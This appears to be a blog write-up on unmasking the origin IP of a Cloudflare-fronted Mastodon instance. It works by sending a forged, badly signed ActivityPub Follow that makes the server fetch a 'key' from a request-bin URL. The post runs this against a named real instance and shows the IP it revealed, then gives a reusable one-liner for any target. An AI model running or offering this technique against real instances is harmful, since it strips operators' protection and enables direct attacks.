Detecting the real IP of a Cloudflare'd Mastodon instance

NB: This will not work for instances that proxy outgoing requests!

Reading the docs

I wanted to find a way to detect the real IP address of a Mastodon/Pleroma/Misskey/etc instance hosted behind Cloudflare. How to do that? Well, it's federated, which means I can probably get it to send a request to a server of mine! And how to do that? I tried reading the ActivityPub spec. The following caught my attention:

Servers should not trust client submitted content, and federated servers also should not trust content received from a server other than the content's origin without some form of verification.

It doesn't say anything about how servers should verify it. Naturally, you'd think verification has to involve a request to your instance, because how else could you prove that it's really mastodon.example.org sending an activity and not just some girl with curl? Mastodon docs elaborate on that. (sigh ActivityPub seems kinda pointless to me, given how almost everything you have to work with is a Mastodon/Pleroma/Misskey-specific extension.) Indeed, they tell us that each request is signed (using RSA-SHA256), and keys are fetched from remote servers. The Mastodon blog has a nice article with some details!

Now, it would be easier to do this with a GET request, since you don't have to deal with signing the body if you don't have one. I tried that, and Mastodon verifies the signature even if it doesn't really have to, e. g. for requests to publicly available data. But Pleroma doesn't, so I decided that POST requests are more reliable.

Applying our findings to the real world

The plan

Let's see what we need:

a Mastodon instance hosted behind Cloudflare,
a POST request that would require signature verification and
a server to which our target instance would connect to.

For the latter, anything that can store the request details will do. Note that we don't actually care about hosting real public keys, or providing signatures that make any sense: the instance won't be able to verify the signature before it fetches the key, so it will make a request regardless of whether the signature looks correct. And we don't care about anything that happens after.

A quick search led me to ~~http://req~~, so I'll use it as an example (see January 2023 update below). It gives you a URL like https://httpreq.com/cutiful-trying-to-uncloudflare/record, requests to which will be logged and visible to you.

The instance I'm gonna work with is https://mstdn.io:

$ dig NS mstdn.io

<...>

;; QUESTION SECTION:
;mstdn.io.			IN	NS

;; ANSWER SECTION:
mstdn.io.		21599	IN	NS	jason.ns.cloudflare.com.
mstdn.io.		21599	IN	NS	lara.ns.cloudflare.com.

<...>

Now back to the POST request. Per Mastodon docs, the Signature header looks like this:

Signature: keyId="https://my-example.com/actor#main-key",headers="(request-target) host date",signature="Y2FiYW...IxNGRiZDk4ZA=="

(This one is missing the algorithm, like here: algorithm="rsa-sha256".)

And the blog article has a sample request:

{ "@context": "https://www.w3.org/ns/activitystreams", "id": "https://my-example.com/my-first-follow", "type": "Follow", "actor": "https://my-example.com/actor", "object": "https://mastodon.social/users/Mastodon" }

Seems like we're all set.

First attempt

We need to find a user inbox, because that's where all ActivityPub requests go. I'll use the one of the instance admin: @[email protected]. To get an ActivityStreams representation of the user profile, we request it with the application/activity+json MIME type:

$ curl -H "Accept: application/activity+json" https://mstdn.io/@admin
{..."id":"https://mstdn.io/users/admin","inbox":"https://mstdn.io/users/admin/inbox","outbox":"https://mstdn.io/users/admin/outbox"...}

We replace keyId with our ~~http://req~~ URL, set Date to the current date, and change actor and object in the sample follow request:

$ curl https://mstdn.io/users/admin/inbox -XPOST -H "Accept: application/activity+json" -H "Date: $(date -u +'%a, %d %b %Y %T') GMT" -H 'Signature: keyId="https://httpreq.com/cutiful-trying-to-uncloudflare/record#main-key",algorithm="rsa-sha256",headers="(request-target) host date",signature="AAAAAAAAAAAAAAAAAAaaaaAaAAAAA"' --data '{ "@context": "https://www.w3.org/ns/activitystreams", "id": "https://httpreq.com/cutiful-trying-to-uncloudflare/record", "type": "Follow", "actor": "https://httpreq.com/cutiful-trying-to-uncloudflare/record", "object": "https://mstdn.io/users/admin" }'

And receive the following response: Mastodon requires the Digest header to be signed when doing a POST request.

Something Mastodon docs didn't prepare us for

What's that Digest header? RFC3230 contains some examples:

Digest: SHA=thvDyvhfIqlvFe+A9MYgxAfm1q5=,unixsum=30637

I decided to try to use that. I know, I'm silly, but Mastodon is forgiving. It tells me what to fix when I do silly things:

$ curl $ALL_THE_PARAMETERS_I_USED_IN_THE_PREVIOUS_COMMAND -H "Digest: SHA=thvDyvhfIqlvFe+A9MYgxAfm1q5=,unixsum=30637"
Mastodon requires the Digest header to be signed when doing a POST request

Wait, again? Oh, it is probably asking me to add the digest header to my signature: headers="(request-target) host date digest". Makes sense, because what is a signature worth if it signs the request headers but not its body? And then I got this in response: Mastodon only supports SHA-256 in Digest header. Offered algorithms: sha, unixsum. Well, guess I'll have to do a SHA-256 sum correctly instead of just taking examples from the RFC and hoping they'll work.

The only command line tool for calculating SHA256 hashes I know is sha256sum, but it outputs a sum in hex, and I need base64. This means I need to decode hex and send the binary data into base64. xxd can do just that, with -r. For some reason it wouldn't work, saying, sorry, cannot seek backwards., until I added a -p. I don't know what it does, and I don't really care.

This is how I'll generate the digest of my request body:

$ echo -n '{ "@context": "https://www.w3.org/ns/activitystreams", "id": "https://httpreq.com/cutiful-trying-to-uncloudflare/record", "type": "Follow", "actor": "https://httpreq.com/cutiful-trying-to-uncloudflare/record", "object": "https://mstdn.io/users/admin" }' | sha256sum | xxd -r -p | base64
JIiwDLMm9PKR7LGUAl7zBiOVVhRLjm/+BcxZUiq47yw=

(We need the -n for echo, because it'll add a newline otherwise.)

What worked

By now, the full curl command looks like this:

$ PAYLOAD='{ "@context": "https://www.w3.org/ns/activitystreams", "id": "https://httpreq.com/cutiful-trying-to-uncloudflare/record", "type": "Follow", "actor": "https://httpreq.com/cutiful-trying-to-uncloudflare/record", "object": "https://mstdn.io/users/admin" }'; curl https://mstdn.io/users/admin/inbox -XPOST -H "Date: $(date -u +'%a, %d %b %Y %T') GMT" -H "Accept: application/activity+json" -H 'Signature: keyId="https://httpreq.com/cutiful-trying-to-uncloudflare/record#main-key",algorithm="rsa-sha256",headers="(request-target) host date digest",signature="AAAAAAAAAAAAAAAAAAaaaaAaAAAAA"' --data "$PAYLOAD" -H "Digest: SHA-256=$(echo -n "$PAYLOAD" | sha256sum | xxd -r -p | base64)"
{"status":500,"error":"Internal Server Error"}

Yay, I got it to error! Probably has something to do with the fact that I don't actually serve any public keys at the public key URL. And now let's check ~~http://req logs~~:

{
    "Accept": "application\/activity+json, application\/ld+json",
    "Cf-Connecting-Ip": "51.158.64.153",
    "Cf-Ipcountry": "FR",
    "Signature": "keyId=\"https:\/\/mstdn.io\/actor#main-key\",algorithm=\"rsa-sha256\",headers=\"(request-target) host date accept\",signature=\"...\"",
    "User-Agent": "http.rb\/4.4.1 (Mastodon\/3.2.1; +https:\/\/mstdn.io\/)",
    "X-Forwarded-For": "51.158.64.153"
}

(To be clear, the reason why we see Cloudflare headers is that ~~http://req~~ itself uses it. They have nothing to do with Mastodon.)

Seems like Cf-Connecting-Ip is what I was looking for! To make sure, I tried connecting directly:

$ curl https://mstdn.io/api/v1/instance --resolve "mstdn.io:443:51.158.64.153"
{"uri":"mstdn.io","title":"Mastodon",...

(This could fail if https://mstdn.io blocked non-Cloudflare access, it wouldn't necessarily mean we found the wrong IP. But it worked in our case.)

So yeah, this is the true IP address of our instance. Cool, isn't it?

Doing it yourself

Find a link to an account on the target instance

Find the object ID and inbox URL:

$ curl -H "Accept: application/activity+json" <your url>
{..."id":"<id>","inbox":"<inbox url>"...}

Get a logging URL at a request bin, doesn't matter which

Make the request causing the target instance to connect to your logging URL (replace everything in angle brackets with your data):

$ LOGGING_URL="<your logging URL>" INBOX_URL="<target inbox URL>" OBJECT_ID="<target object ID>"; PAYLOAD="{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"$LOGGING_URL\",\"type\":\"Follow\",\"actor\":\"$LOGGING_URL\",\"object\":\"$OBJECT_ID\"}"; curl "$INBOX_URL" -XPOST -H "Date: $(date -u +'%a, %d %b %Y %T') GMT" -H "Accept: application/activity+json" -H "Signature: keyId=\"$LOGGING_URL#main-key\",algorithm=\"rsa-sha256\",headers=\"(request-target) host date digest\",signature=\"aa\"" --data "$PAYLOAD" -H "Digest: SHA-256=$(echo -n "$PAYLOAD" | sha256sum | xxd -r -p | base64)"

Check the logs!

January 2023 update: http://req is down, so you'll have to choose an alternative service. New ones pop up as often as old ones shut down, so I suggest searching for an "http request bin", that should find a few different ones. Otherwise, the instructions in this article should still work.

cutiful/mastodon-ip.md